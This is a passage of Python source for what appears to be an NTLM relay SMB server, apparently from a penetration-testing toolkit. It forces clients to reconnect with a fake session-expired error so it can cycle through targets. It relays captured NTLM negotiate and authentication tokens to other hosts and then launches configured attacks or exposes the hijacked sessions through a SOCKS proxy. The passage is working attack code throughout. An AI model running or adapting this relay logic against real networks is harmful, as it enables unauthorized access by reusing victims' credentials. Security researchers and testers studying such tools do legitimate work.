756 treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']

757 treeConnectAndXData.fromString(SMBCommand['Data'])

758

759 ## Process here the request, does the share exist?

760 UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])

761

762 # Is this a UNC?

763 if ntpath.ismount(UNCOrShare):

764 path = UNCOrShare.split('\\')[3]

765 else:

766 path = ntpath.basename(UNCOrShare)

767

768 # This is the key, force the client to reconnect.

769 # It will loop until all targets are processed for this user

770 errorCode = STATUS_NETWORK_SESSION_EXPIRED

771 resp['ErrorCode'] = errorCode >> 16

772 resp['_reserved'] = 0o3

773 resp['ErrorClass'] = errorCode & 0xff

774

775 if path == 'IPC$':

776 respData['Service'] = 'IPC'

777 else:

778 respData['Service'] = path

779 respData['PadLen'] = 0

780 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )

781

782 respSMBCommand['Parameters'] = respParameters

783 respSMBCommand['Data'] = respData

784

785 resp['Uid'] = connData['Uid']

786 resp.addCommand(respSMBCommand)

787 smbServer.setConnectionData(connId, connData)

788

789 return None, [resp], errorCode

790 ################################################################################

791

792 #Initialize the correct client for the relay target

793 def init_client(self,extSec):

794 if self.target.scheme.upper() in self.config.protocolClients:

795 client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)

796 client.initConnection()

797 else:

798 raise Exception('Protocol Client for %s not found!' % self.target.scheme)

799

800

801 return client

802

803 def do_ntlm_negotiate(self,client,token):

804 #Since the clients all support the same operations there is no target protocol specific code needed for now

805 return client.sendNegotiate(token)

806

807 def do_ntlm_auth(self,client,SPNEGO_token,challenge):

808 #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB

809 clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)

810

811 return clientResponse, errorCode

812

813 def do_attack(self,client):

814 #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties

815 # Check if SOCKS is enabled and if we support the target scheme

816 if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:

817 if self.config.runSocks is True:

818 # Pass all the data to the socksplugins proxy

819 activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),

820 self.authUser, client, client.sessionData))

821 return

822

823 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks

824 if self.target.scheme.upper() in self.config.attacks:

825 # We have an attack.. go for it

826 clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser)

827 clientThread.start()

828 else:

829 LOG.error('No attack configured for %s' % self.target.scheme.upper())

830

831 def _start(self):

832 self.server.daemon_threads=True

833 self.server.serve_forever()

834 LOG.info('Shutting down SMB Server')

835 self.server.server_close()

836

837 def run(self):

838 LOG.info("Setting up SMB Server")

839 self._start()

840